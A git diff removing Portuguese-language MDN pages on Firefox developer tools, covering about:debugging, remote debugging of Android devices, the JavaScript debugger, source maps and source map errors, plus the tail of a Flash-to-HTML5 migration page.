- <dt><a href="/en-US/docs/Plugins/Flash_to_HTML5/Video/DRM_and_authentication">DRM and authentication</a></dt>
- <dd>If your media requires authentication/rights to access, you'll need to work out how to hook up the necessary DRM and authentication mechanisms.</dd>
- <dt><a href="/en-US/docs/Plugins/Flash_to_HTML5/Video/Advertising">Video advertising</a></dt>
- <dd>You may also want to incorporate advertising into your video delivery system, via an ad network.</dd>
- <dt><a href="/en-US/docs/Plugins/Flash_to_HTML5/Video/Distribution">Distribution</a></dt>
- <dd>A CDN is a popular choice for effective delivery of media content.</dd>
- <dt><a href="/en-US/docs/Plugins/Flash_to_HTML5/Video/Players">Video and audio players</a></dt>
- <dd>There are a number of ways to play back web media depending on the scale of your needs and whether you need ad integration and digital rights management.</dd>
- <dt><a href="/en-US/docs/Plugins/Flash_to_HTML5/Video/Subtitles_captions">Subtitles and captions</a></dt>
- <dd>Just as audio and video may need transcoding for the web, subtitles and captions may also need to be converted and made available.</dd>
-</dl>
-</div>
-
-<div class="section">
-<h2 id="Outros_tópicos">Outros tópicos</h2>
-
-<p>Other common Flash use cases that should now be migrated to HTML5.</p>
-
-<dl>
- <dt><a href="/en-US/docs/Games">Open web games</a></dt>
- <dd>Flash games used to be very common, but the open web is now a viable platform for creating and distibuting games.</dd>
- <dt><a href="/en-US/docs/Web/API/WebSockets_API">Real-time apps with WebSockets</a></dt>
- <dd>Flash TCP sockets have been commonly used to create real-time multiuser apps such as chat apps, but they can be replaced with WebSockets.</dd>
- <dt><a href="/en-US/docs/Plugins/Flash_to_HTML5/Clipboard">Clipboard access</a></dt>
- <dd>Flash's clipboard API used to be the only available means for creating advanced clipboard functionality, but this is now available in web standards.</dd>
- <dt><a href="/en-US/docs/Web/API/Intersection_Observer_API">Content and advertising visibility with Intersection Observer</a></dt>
- <dd>Flash used to be a simple but slow way to detect content and advertising visibility on the page. The web platfom now has the Intersection Observer API to do this better and faster.</dd>
- <dt><a href="/en-US/docs/Learn/CSS/CSS_layout">Flexible user interfaces with CSS</a></dt>
- <dd>Adobe Flex used to provide a way to effectively create flexible user interfaces on the web, but the open web platform now boasts powerful CSS layout systems like Grid and Flexbox to close the gap.</dd>
- <dt><a href="/en-US/docs/Web/API/WebRTC_API">Camera/Microphone access with WebRTC</a></dt>
- <dd>Developers used to rely exclusively on Flash for accessing the user's camera and microphone, but this can now be achieved with WebRTC and related technologies. See also <a href="/en-US/docs/Web/API/Media_Streams_API">Media Capture and Streams API</a> and <a href="/en-US/docs/Web/API/MediaDevices/getUserMedia">getUserMedia</a> for useful starting points.</dd>
- <dt><a href="https://developer.mozilla.org/en-US/docs/Web/API/File">File selection using the File API</a></dt>
- <dd>The web platform has functionality accessing files on the user's file system, e.g. for upload or display. See <a href="/en-US/docs/Web/HTML/Element/input/file">&lt;input type="file"&gt;</a> and <a href="/en-US/docs/Using_files_from_web_applications">Using files from web applications</a> for useful resources.</dd>
-</dl>
-</div>
-</div>
-
-<h2 id="Obter_ajuda">Obter ajuda</h2>
-
-<p>If you find that our migration guide leaves you with any questions unanswered, please don't hesitate to visit our <a href="https://discourse.mozilla-community.org/c/mdn">MDN Discourse page</a> and ask them there.</p>
diff --git a/files/pt-pt/tools/about_colon_debugging/index.html b/files/pt-pt/tools/about_colon_debugging/index.html
deleted file mode 100644
index 7f246250a7..0000000000
--- a/files/pt-pt/tools/about_colon_debugging/index.html
+++ /dev/null
@@ -1,250 +0,0 @@
----
-title: 'about:debugging'
-slug: 'Tools/about:debugging'
-tags:
- - Depurador
- - Depuração remota
- - sobre depuração
-translation_of: 'Tools/about:debugging'
----
-<div>{{ToolsSidebar}}</div>
-
-<p>A página de <code>about:debugging</code> fornece um local único a partir do qual pode anexar as "'Ferramentas de Desenvolvimento" do Firefox para um número de destinos de depuração. De momento este suporta três tipos principais de destinos: extras sem restrições, separadores, e <em>workers</em>.</p>
-
-<h2 id="Abrir_a_página_de_aboutdebugging">Abrir a página de about:debugging</h2>
-
-<p>Existem dois modos para abrir <code>about:debugging</code>:</p>
-
-<ul>
- <li>Digite  <code>about:debugging</code> na barra de URL do Firefox.</li>
- <li>No menu clique em <strong>Ferramentas de Programação </strong>&gt; clique em <strong>Depuração Remota</strong>.</li>
-</ul>
-
-<p>Quando <strong>about:debugging</strong> abrir, no lado esquerdo, irá ver uma barra lateral com duas opções e informação sobre a configuração da depuração remota.</p>
-
-<dl>
- <dt>Configuração</dt>
- <dd>Use the Setup tab to configure the connection to your remote device.</dd>
- <dt>Este Firefox</dt>
- <dd>Provides information about temporary extensions you have loaded for debugging, extensions that are installed in Firefox, the tabs that you currently have open, and service workers running on Firefox.</dd>
-</dl>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/16650/about_debugging_setup.png"></p>
-
-<p>Se a sua página de <code>about:debugging</code> é diferente da exibida aqui, vá para<code>about:config</code>, encontre e defina a opção <code>devtools.aboutdebugging.new-enabled</code> para <strong>true</strong>.</p>
-
-<h2 id="Configurar_o_separador">Configurar o separador</h2>
-
-<h3 id="Ligar_a_um_dispositivo_remoto">Ligar a um dispositivo remoto</h3>
-
-<p>Firefox supports debugging over USB with Android devices, using the about:debugging page.</p>
-
-<p>Before you connect:</p>
-
-<ol>
- <li>Enable Developer settings on your Android device.</li>
- <li>Enable USB debugging in the Android Developer settings.</li>
- <li>Enable <strong>Remote Debugging via USB</strong> in the Advanced Settings in Firefox on the Android device.</li>
- <li>Connect the Android device to your computer using a USB cable.</li>
-</ol>
-
-<p>If your device doesn't appear in the lefthand side of the about:debugging page, try clicking the <strong>Refresh devices</strong> button.</p>
-
-<p><strong>If it still doesn't appear</strong>, it may be because the link between your Android device and your computer is not authorized yet. First make sure you have installed <a href="https://developer.android.com/studio/command-line/adb.html">Android Debug Bridge</a> from Android Tools on your computer in order for it to be able to connect to your device. Next, disable every debugging setting already activated and repeat the steps described before. Your device should show a popup to authorize your computer to connect to it — accept this and then click the <strong>Refresh devices</strong> button again. The device should appear.</p>
-
-<div class="blockIndicator note">
-<p><strong>Nota</strong>: You do not need to install the full Android Studio SDK. Only adb is needed.</p>
-</div>
-
-<p>To start a debugging session, first open the page that you wish to debug and then click <strong>Connect</strong> next to the device name to open a connection to it. If the connection was successful, you can now click the name of the device to switch to a tab with information about the device.</p>
-
-<p><img alt="Screenshot of the debugging page for an Android device" src="https://mdn.mozillademos.org/files/16915/device_information.png"></p>
-
-<p>The information on this page is the same as the information on the <strong>This Firefox</strong> tab, but instead of displaying information for your computer, it displays the information for the remote device with the addition of a <strong>Tabs</strong> section with an entry for each of the tabs open on the remote device.</p>
-
-<p>Note: If the version of Firefox on your remote device is more than one major version older than the version running on your computer, you may see a message like the following:</p>
-
-<p><img alt="The connected browser has an old version (68.2.0). The minimum supported version (69.0a1). This is an unsupported setup and may cause DevTools to fail. Please update the connected browser." src="https://mdn.mozillademos.org/files/16917/version_warning.png"></p>
-
-<p>In Firefox 76 and above, the message can look like the following:</p>
-
-<p><img alt="This version of Firefox cannot debug Firefox for Android (68). We recommend installing Firefox for Android Nightly on your phone for testing. More details" src="https://mdn.mozillademos.org/files/17171/fxand-68-error.png"></p>
-
-<p>See <a href="https://wiki.developer.mozilla.org/pt-PT/docs/Tools/about:debugging$edit#">Connection for Firefox for Android 68</a> for more information.</p>
-
-<p>In the image above, there are three tabs open: <strong>Network or cache Recipe</strong>, <strong>Nightly Home</strong>, and <strong>About Nightly</strong>. To debug the contents of one of these tabs, click the <strong>Inspect</strong> button next to its title. When you do, the Developer Tools open in a new tab.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/16916/remote_debugger.png"></p>
-
-<p>Above the usual list of tools, you can see information about the device you are connected to, including the fact that you are connected (in this example) via USB, to Mozilla Firefox Nightly, on a Moto G(5), as well as the title of the page that you are debugging, and the address of the page.</p>
-
-<h3 id="Ligar_através_da_Rede">Ligar através da Rede</h3>
-
-<p>Pode ligar a um servidor de «Depuração» do Firefox na sua rede, ou na sua máquina de depuração utilizando as definições de <strong>Localização da rede </strong>da página <strong>about:debugging</strong>.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/16942/network_location.png"></p>
-
-<p>Enter the location and port on which the debugger server is running. When you do, it is added to the Network locations list along with the devices, as shown below:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/16943/connect_network_location.png"></p>
-
-<h2 id="Este_Firefox">Este Firefox</h2>
-
-<p>O separador <strong>Este Firefox</strong> combina as funcionalidades das «Extensões», «Separadores», e «Workers» num único separador com as secções seguintes:</p>
-
-<dl>
- <dt>Extensões temporárias</dt>
- <dd>Displays a list of the extensions that you have loaded using the <strong>Load Temporary Add-on</strong> button.</dd>
- <dt>Extensões</dt>
- <dd>This section lists information about the extensions that you have installed on your system.</dd>
- <dt>Service Workers, Shared Workers, e Outros Workers</dt>
- <dd>There are three sections on this page that deal with Service Workers, Shared Workers, and Other Workers.</dd>
-</dl>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/16654/about_debugging_this_firefox.png"></p>
-
-<p>Whether internal extensions appear in the list on this page depends on the setting of the <code>devtools.aboutdebugging.showHiddenAddons</code> preference. If you need to see these extensions, navigate to <code>about:config</code> and make sure that the preference is set to <code>true</code>.</p>
-
-<h2 id="Extensões">Extensões</h2>
-
-<h3 id="Carregar_uma_extensão_temporária">Carregar uma extensão temporária</h3>
-
-<p>With the <strong>Load Temporary Add-on</strong> button you can temporarily load a web extension from a directory on disk. Click the button, navigate to the directory containing the add-on and select its manifest file. The temporary extension is then displayed under the <strong>Temporary Extensions</strong> header.</p>
-
-<p>You don't have to package or sign the extension before loading it, and it stays installed until you restart Firefox.</p>
-
-<p>The major advantages of this method, compared with installing an add-on from an XPI, are:</p>
-
-<ul>
- <li>You don't have to rebuild an XPI and reinstall when you change the add-on's code;</li>
- <li>You can load an add-on without signing it and without needing to disable signing.</li>
-</ul>
-
-<p>Once you have loaded a temporary extension, you can see information about it and perform operations on it.</p>
-
-<p><img alt="Screenshot of the debugging information panel for a temporary extension" src="https://mdn.mozillademos.org/files/16652/temporary_extension.png"></p>
-
-<p>You can use the following buttons:</p>
-
-<dl>
- <dt>Inspect</dt>
- <dd>Loads the extension in the debugger.</dd>
- <dt>Reload</dt>
- <dd>Reloads the temporary extension. This is handy when you have made changes to the extension.</dd>
- <dt>Remove</dt>
- <dd>Unloads the temporary extension.</dd>
-</dl>
-
-<p>Other information about the extension is displayed:</p>
-
-<dl>
- <dt>Location</dt>
- <dd>The location of the extension's source code on your local system.</dd>
- <dt>Extension ID</dt>
- <dd>The temporary ID assigned to the extension.</dd>
- <dt>Internal UUID</dt>
- <dd>The internal UUID assigned to the extension.</dd>
- <dt>Manifest URL</dt>
- <dd>If you click the link, the manifest for this extension is loaded in a new tab.</dd>
-</dl>
-
-<h3 id="Atualizar_uma_extensão_temporária">Atualizar uma extensão temporária</h3>
-
-<p>If you install an extension in this way, what happens when you update the extension?</p>
-
-<ul>
- <li>If you change files that are loaded on demand, like <a href="https://wiki.developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts">content scripts</a> or <a href="https://wiki.developer.mozilla.org/en-US/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Browser_actions_2">popups</a>, then changes you make are picked up automatically, and you'll see them the next time the content script is loaded or the popup is shown.</li>
- <li>For other changes, click the <strong>Reload</strong> button. This does what it says:
- <ul>
- <li>Reloads any persistent scripts, such as <a href="https://wiki.developer.mozilla.org/en-US/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Background_scripts">background scripts</a></li>
- <li>Parses the <code>manifest.json</code> file again, so changes to <code><a href="https://wiki.developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions">permissions</a></code>, <code><a href="https://wiki.developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/content_scripts">content_scripts</a></code>, <code><a href="https://wiki.developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/browser_action">browser_action</a></code> or any other keys take effect</li>
- </ul>
- </li>
-</ul>
-
-<h3 id="Extensões_Instaladas">Extensões Instaladas</h3>
-
-<p>The permanently installed extensions are listed in the next section, <strong>Extensions</strong>. For each one, you see something like the following:</p>
-
-<p><img alt="Screenshot of the debugging information panel for an installed extension" src="https://mdn.mozillademos.org/files/16651/installed_extension.png"></p>
-
-<p>The <strong>Inspect</strong> button, and the <strong>Extension ID</strong> and <strong>Internal UUID</strong> fields are the same as for temporary extensions.</p>
-
-<p>Just as it does with temporarily loaded extensions, the link next to <strong>Manifest URL</strong> opens the loaded manifest in a new tab.</p>
-
-<div class="blockIndicator note">
-<p><strong>Nota: </strong>It's recommended that you use the Browser Toolbox, not the Add-on Debugger, for debugging WebExtensions. See <a href="https://wiki.developer.mozilla.org/en-US/Add-ons/WebExtensions/Debugging">Debugging WebExtensions</a> for all the details.</p>
-</div>
-
-<p>The Add-ons section in about:debugging lists all web extensions that are currently installed. Next to each entry is a button labeled <strong>Inspect</strong>.</p>
-
-<div class="blockIndicator note">
-<p><strong>Nota: </strong>This list may include add-ons that came preinstalled with Firefox.</p>
-</div>
-
-<p>If you click <strong>Inspect</strong>, the <a href="https://wiki.developer.mozilla.org/en-US/docs/Mozilla/Add-ons/Add-on_Debugger">Add-on Debugger</a> will start in a new tab.</p>
-
-<p>{{EmbedYouTube("efCpDNuNg_c")}}</p>
-
-<p>See the page on the <a href="https://wiki.developer.mozilla.org/en-US/docs/Mozilla/Add-ons/Add-on_Debugger">Add-on Debugger</a> for all the things you can do with this tool.</p>
-
-<h2 id="Workers">Workers</h2>
-
-<p>The Workers page shows your workers, categorised as follows:</p>
-
-<ul>
- <li>All registered <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Service_Worker_API">Service Workers</a></li>
- <li>All registered <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/SharedWorker">Shared Workers</a></li>
- <li>Other workers, including <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/ChromeWorker">Chrome Workers</a> and <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API/Using_web_workers#Dedicated_workers">Dedicated Workers</a></li>
-</ul>
-
-<p>You can connect the developer tools to each worker, and send push notifications to service workers.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/16657/about_debugging_workers.png"></p>
-
-<h3 id="Service_worker_state">Service worker state</h3>
-
-<p>The list of service workers shows the state of the service worker in its <a href="https://developers.google.com/web/fundamentals/instant-and-offline/service-worker/lifecycle">lifecycle</a>. Three states are possible:</p>
-
-<ul>
- <li><em>Registering</em>: this covers all states between the service worker's initial registration, and its assuming control of pages. That is, it subsumes the <em>installing</em>, <em>activating</em>, and <em>waiting</em> states.</li>
- <li><em>Running</em>: the service worker is currently running. It's installed and activated, and is currently handling events.</li>
- <li><em>Stopped</em>: the service worker is installed and activated, but has been terminated after being idle.</li>
-</ul>
-
-<p><img alt="Screenshot of the debugging panel for a service worker that is in the Running state" src="https://mdn.mozillademos.org/files/16659/sample_service_worker.png"></p>
-
-<div class="blockIndicator note">
-<p>This section uses a simple ServiceWorker demo, hosted at <a href="https://serviceworke.rs/push-simple/">https://serviceworke.rs/push-simple/</a>.</p>
-</div>
-
-<h3 id="Unregistering_service_workers">Unregistering service workers</h3>
-
-<p>Click the <strong>Unregister</strong> button to unregister the service worker.</p>
-
-<h3 id="Sending_push_events_to_service_workers">Sending push events to service workers</h3>
-
-<p>To debug push notifications, you can set a breakpoint in the <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/PushEvent">push event</a> listener. However, you can also debug push notifications locally, without needing the server. Click the <strong>Push</strong> button to send a push event to the service worker.</p>
-
-<h3 id="Service_workers_not_compatible">Service workers not compatible</h3>
-
-<p>A warning message is displayed at the top of the <strong>This Firefox</strong> tab if service workers are incompatible with the current browser configuration, and therefore cannot be used or debugged.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/16655/worker_warning.png"></p>
-
-<p>Service workers can be unavailable if the <code>dom.serviceWorkers.enable</code> preference is set to false in <code>about:config</code>.</p>
-
-<h2 id="Ligação_ao_Firefox_para_Android_68">Ligação ao Firefox para Android 68</h2>
-
-<p>Releases of Firefox for Android that are based on version 68 cannot be debugged from desktop Firefox versions 69 or later, because of the difference in release versions. Until such time as Firefox for Android is updated to a newer major release, in synch with desktop Firefox, you should use one of the following Firefox for Android versions:</p>
-
-<ul>
- <li><a href="https://play.google.com/store/apps/details?id=org.mozilla.fenix">Firefox Preview</a>, if your desktop Firefox is the main release or Developer Edition</li>
- <li><a href="https://play.google.com/store/apps/details?id=org.mozilla.fenix">Firefox for Android Nightly</a></li>
-</ul>
-
-<p>If you prefer to test with the main release of Firefox for Android (i.e., based on release 68), you can do so with the desktop <a href="https://support.mozilla.org/en-US/kb/switch-to-firefox-extended-support-release-esr">Firefox Extended Support Release (ESR)</a>, which is also based on version 68.</p>
-
-<p>Note that <code>about:debugging</code> is not enabled by default in Firefox ESR.  To enable it, open the <a href="https://support.mozilla.org/en-US/kb/about-config-editor-firefox">Configuration Editor</a> (<code>about:config</code>) and set <code>devtools.aboutdebugging.new-enabled</code> to <strong>true</strong>.</p>
-
-<p>If you used a higher version of Firefox prior to installing Firefox ESR, you will be prompted to create a new user profile, in order to protect your user data. For more information, see <a href="https://support.mozilla.org/en-US/kb/dedicated-profiles-firefox-installation#w_what-happens-to-my-profile-if-i-downgrade-to-a-previous-version-of-firefox">What happens to my profile if I downgrade to a previous version of Firefox?</a></p>
diff --git a/files/pt-pt/tools/debugger/how_to/index.html b/files/pt-pt/tools/debugger/how_to/index.html
deleted file mode 100644
index 084f1717e5..0000000000
--- a/files/pt-pt/tools/debugger/how_to/index.html
+++ /dev/null
@@ -1,11 +0,0 @@
----
-title: How to
-slug: Tools/Debugger/How_to
-tags:
- - NeedsTranslation
- - TopicStub
-translation_of: Tools/Debugger/How_to
----
-<div>{{ToolsSidebar}}</div><p><span class="seoSummary">These articles describe how to use the debugger.</span></p>
-
-<p>{{ ListSubpages () }}</p>
diff --git a/files/pt-pt/tools/debugger/how_to/open_the_debugger/index.html b/files/pt-pt/tools/debugger/how_to/open_the_debugger/index.html
deleted file mode 100644
index c6fbe553ca..0000000000
--- a/files/pt-pt/tools/debugger/how_to/open_the_debugger/index.html
+++ /dev/null
@@ -1,19 +0,0 @@
----
-title: Abrir o depurador
-slug: Tools/Debugger/How_to/Open_the_debugger
-translation_of: Tools/Debugger/How_to/Open_the_debugger
-original_slug: Tools/Debugger/How_to/Abrir_o_depurador
----
-<div>{{ToolsSidebar}}</div>
-
-<p>Existem três maneiras para abrir o depurador:</p>
-
-<ul>
- <li>Selecione "Depurador" no submenu de "Ferramentas de Programação" no Menu do Firefox (ou no menu de Ferramentas se exibe a barra do menu ou está num Mac OS X)</li>
- <li>
- <p>Pressione <kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>Z</kbd> no Windows e no Linux, ou <kbd>Cmd</kbd> + <kbd>Opt</kbd> + <kbd>Z</kbd> no macOS (a partir do Firefox 71; anterior ao Firefox 66, a letra neste atalho era S).</p>
- </li>
- <li>Clique no botão ( <img alt="new fx menu" class="frameless wiki-image" src="https://mdn.mozillademos.org/files/12712/hamburger.png" style="height: 20px; width: 22px;" title=""> ) Menu, selecione "Ferramentas de programação", depois "Depurador".</li>
-</ul>
-
-<p>{{EmbedYouTube("yI5SlVQiZtI")}}</p>
diff --git a/files/pt-pt/tools/debugger/how_to/use_a_source_map/index.html b/files/pt-pt/tools/debugger/how_to/use_a_source_map/index.html
deleted file mode 100644
index 93144c1b5f..0000000000
--- a/files/pt-pt/tools/debugger/how_to/use_a_source_map/index.html
+++ /dev/null
@@ -1,32 +0,0 @@
----
-title: Utilizar um "source map"
-slug: Tools/Debugger/How_to/Use_a_source_map
-translation_of: Tools/Debugger/How_to/Use_a_source_map
----
-<div>{{ToolsSidebar}}</div>
-
-<p>As fontes de JavaScript executadas pelo navegador são geralmente transformadas de alguma forma a partir das fontes originais criadas por um programador. Por exemplo:</p>
-
-<ul>
- <li><em>sources</em> são geralmente combinadas e <a href="https://en.wikipedia.org/wiki/Minification_(programming)">reduzidas</a> para tornar mais eficiente a entrega das mesmas a partir do servidor.</li>
- <li>O JavaScript em execução numa página é geralmente gerado por máquina, como quando compilado a partir de um idioma como <a href="http://coffeescript.org/">CoffeeScript</a> ou <a href="http://www.typescriptlang.org/">TypeScript</a>.</li>
-</ul>
-
-<p>Nessas situações, é muito mais fácil debugar o fonte original do que o fonte no estado transformado que o navegador obteve. Um <a href="http://www.html5rocks.com/en/tutorials/developertools/sourcemaps/">source map</a> é um arquivo que mapea da fonte transformada para a original, permitindo ao navegador reconstruir a fonte original e disponibilizá-la no debugger.</p>
-
-<p>Para que o navegador trabalhe com um source map, você deve:</p>
-
-<ul>
- <li>gerar o source map</li>
- <li>incluir um comentário no arquivo transformado que aponte para o source map. A sintaxe do comentário é assim:</li>
-</ul>
-
-<pre class="brush: js notranslate"><code>//# sourceMappingURL=http://example.com/path/to/your/sourcemap.map</code></pre>
-
-<p>{{EmbedYouTube("Fqd15gHC4Pg")}}</p>
-
-<p>No vídeo acima carregamos <a href="https://mdn.github.io/devtools-examples/sourcemaps-in-console/index.html">https://mdn.github.io/devtools-examples/sourcemaps-in-console/index.html</a>. Essa página carrega um fonte chamado "main.js" que foi originalmente escrito em CoffeeScript e compilado para JavaScript. O fonte compilado contém um comentário assim, que aponta para o source map:</p>
-
-<pre class="brush: js notranslate"><code>//# sourceMappingURL=main.js.map</code></pre>
-
-<p>No <a href="/en-US/docs/Tools/Debugger/UI_Tour#Source_list_pane">source list pane</a> do Debugger, o fonte original CoffeeScript agora aparece como "main.coffee", e podemos acessá-lo para debugar como qualquer outra fonte.</p>
diff --git a/files/pt-pt/tools/debugger/index.html b/files/pt-pt/tools/debugger/index.html
deleted file mode 100644
index dc6feaf51b..0000000000
--- a/files/pt-pt/tools/debugger/index.html
+++ /dev/null
@@ -1,62 +0,0 @@
----
-title: Depurador
-slug: Tools/Debugger
-tags:
- - Depurador
- - Depuração
- - Ferramentas
- - Ferramentas de Desenvolvimento
- - Firefox OS
- - 'l10n:prioridade'
-translation_of: Tools/Debugger
----
-<div>{{ToolsSidebar}}</div>
-
-<div>O «Depurador» de JavaScript permite-lhe explorar o código de JavaScript e examinar ou modifcar o seu estado para ajudar a rastrear erros (<em>bugs</em>).</div>
-
-<div></div>
-
-<div>
-<p>{{EmbedYouTube("QK4hKWmJVLo")}}</p>
-
-<p>Pode-o utilizar para depurar código em execução localmente no Firefox ou em execução remotamente, por exemplo num dispositivo Android a executar o Firefox para Android. Consulte <a href="/pt-PT/docs/Tools/Remote_Debugging">depuração remota </a>para saber como ligar o depurador a um destino remoto.</p>
-
-<p>To find your way around the debugger, here's a <a href="https://wiki.developer.mozilla.org/en-US/docs/Tools/Debugger/UI_Tour">quick tour of the UI</a>.</p>
-</div>
-
-<h2 id="Como...">Como...</h2>
-
-<p>Para saber o que pode fazer com o depurador, consulte os guias seguintes:</p>
-
-<div class="twocolumns">
-<ul>
- <li><a href="/pt-PT/docs/Tools/Debugger/How_to/Abrir_o_depurador">Abrir o depurador</a></li>
- <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Tools/Debugger/How_to/Set_a_breakpoint">Set a breakpoint</a></li>
- <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Tools/Debugger/How_to/Set_a_conditional_breakpoint">Set a conditional breakpoint</a></li>
- <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Tools/Debugger/Set_an_XHR_breakpoint">Set an XHR breakpoint</a></li>
- <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Tools/Debugger/Set_a_logpoint">Set a logpoint</a></li>
- <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Tools/Debugger/Set_event_listener_breakpoints">Set event listener breakpoints</a></li>
- <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Tools/Debugger/How_to/Disable_breakpoints">Disable breakpoints</a></li>
- <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Tools/Debugger/How_to/Step_through_code">Step through code</a></li>
- <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Tools/Debugger/How_to/Breaking_on_exceptions">Break on exceptions</a></li>
- <li><a href="https://developer.mozilla.org/en-US/docs/Tools/Debugger/How_to/Set_Watch_Expressions">Set watch expressions</a></li>
- <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Tools/Debugger/Debug_worker_threads">Debug worker threads</a></li>
- <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Tools/Debugger/How_to/Pretty-print_a_minified_file">Pretty-print a minified file</a></li>
- <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Tools/Debugger/How_to/Search">Search</a></li>
- <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Tools/Debugger/How_to/Debug_eval_sources">Debug eval sources</a></li>
- <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Tools/Debugger/How_to/Use_a_source_map">Use a source map</a></li>
- <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Tools/Debugger/How_to/Use_watchpoints">Use watchpoints</a></li>
- <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Tools/Debugger/Break_on_DOM_mutation">Break on DOM Mutation</a></li>
-</ul>
-</div>
-
-<hr>
-<h2 id="Referência">Referência</h2>
-
-<div class="twocolumns">
-<ul>
- <li><a href="/pt-PT/docs/Tools/Debugger/Atalhos_de_teclado">Atalhos de teclado</a></li>
- <li><a href="/pt-PT/docs/Tools/Debugger/Source_map_errors">Source map errors</a></li>
- <li></li>
-</ul>
-</div>
diff --git a/files/pt-pt/tools/debugger/source_map_errors/index.html b/files/pt-pt/tools/debugger/source_map_errors/index.html
deleted file mode 100644
index 4e5dfc450a..0000000000
--- a/files/pt-pt/tools/debugger/source_map_errors/index.html
+++ /dev/null
@@ -1,70 +0,0 @@
----
-title: Source map errors
-slug: Tools/Debugger/Source_map_errors
-tags:
- - Depurador
- - Depuração
- - Ferramentas
- - Ferramentas de Desenvolvimento
- - Referencia
- - Source maps
-translation_of: Tools/Debugger/Source_map_errors
----
-<div>{{ToolsSidebar}}</div>
-
-<p class="summary"><em>Source maps</em> são ficheiros JSON que fornecem um modo para associar as fontes transformadas, como visto pelo navegador, com as suas fontes originais, conforme escrito pelo programador. Às vezes, pode encontrar problemas ao trabalhar com <em>source maps</em>. Esta página explica os problemas mais comuns e como os corrigir.</p>
-
-<div class="note">
-<p><strong>Nota</strong>: se é novo para <em>source maps</em>, pode saber mais sobre os mesmo em <a href="/pt-PT/docs/Tools/Debugger/How_to/Use_a_source_map">How to use a source map</a>.</p>
-</div>
-
-<h2 id="Reportar_Source_map_error_geral">Reportar "Source map error" geral</h2>
-
-<p>If you do see a problem, a message will appear in the webconsole. This message will show an error message, the resource URL, and the source map URL:</p>
-
-<p><img alt="Error from invalid JSON" src="https://mdn.mozillademos.org/files/15423/invalid-json.png" style="border-style: solid; border-width: 1px; display: block; height: 57px; margin: 0px auto; width: 744px;"></p>
-
-<p>Here, the resource URL tells us that <code>bundle.js</code> mentions a source map, and the source map URL tells us where to find the source map data (in this case, relative to the resource).  The error tells us that the source map is not JSON data — so we're serving the wrong file.</p>
-
-<p>There are a few common ways that source maps can go wrong; they are detailed in the following sections.</p>
-
-<h2 id="Source_map_está_em_falta_ou_inacessível">"Source map" está em falta ou inacessível</h2>
-
-<p>O recurso <em>source map</em> pode estar em falta ou inacessível.</p>
-
-<p><img alt="Source map file is missing" src="https://mdn.mozillademos.org/files/15429/missing-map.png" style="border-style: solid; border-width: 1px; display: block; height: 42px; margin: 0px auto; width: 733px;"></p>
-
-<p>The fix here is to make sure the file is being served and is accessible to the browser</p>
-
-<h2 id="Source_map_inválido">"Source map" inválido</h2>
-
-<p>The source map data can be invalid — either simply not a JSON file at all, or with an incorrect structure. Typical error messages here are:</p>
-
-<ul>
- <li><code>SyntaxError: JSON.parse: unexpected character at line 1 column 1 of the JSON data</code></li>
- <li><code>Error: "version" is a required argument</code></li>
-</ul>
-
-<p><img alt='Error: "version" is a required argument' src="https://mdn.mozillademos.org/files/15425/missing-field.png" style="border-style: solid; border-width: 1px; display: block; height: 45px; margin: 0px auto; width: 743px;"></p>
-
-<h2 id="Source_original_está_em_falta">"Source" original está em falta</h2>
-
-<p>An original source may be missing.  You may encounter this when trying to open one of the original sources in the debugger. The message looks a little different in this case:</p>
-
-<p><img alt="Debugger source tab showing the error" src="https://mdn.mozillademos.org/files/15421/Screenshot%20from%202017-09-15%2014-32-02.png" style="border-style: solid; border-width: 1px; display: block; height: 35px; margin: 0px auto; width: 727px;"></p>
-
-<p>In this case, the error will also be displayed in the source tab in the debugger:</p>
-
-<p><img alt="Debugger source tab showing the error" src="https://mdn.mozillademos.org/files/15427/debugger-tab.png" style="border-style: solid; border-width: 1px; display: block; height: 109px; margin: 0px auto; width: 616px;"></p>
-
-<h2 id="NetworkError_quando_tenta_obter_o_recurso">"NetworkError" quando tenta obter o recurso</h2>
-
-<p>A bug in Firefox prevents it from loading source maps for web extensions.</p>
-
-<p>See <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1437937">Bug 1437937: WebExtensions Doesn't Find Source Maps</a> for details.</p>
-
-<pre class="syntaxbox"><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">Source-Map-Fehler: TypeError: NetworkError when attempting to fetch resource.
- Ressourcen-Adresse: moz-extension://c7f0f003-4fcf-49fd-8ec0-c49361266581/background.js
- Source-Map-Adresse: background.js.map</span></span></span></pre>
-
-<p>The only workaround is to manually change the map URL to a public one (http://localhost:1234/file.map.js) and start a local webserver at this port.</p>
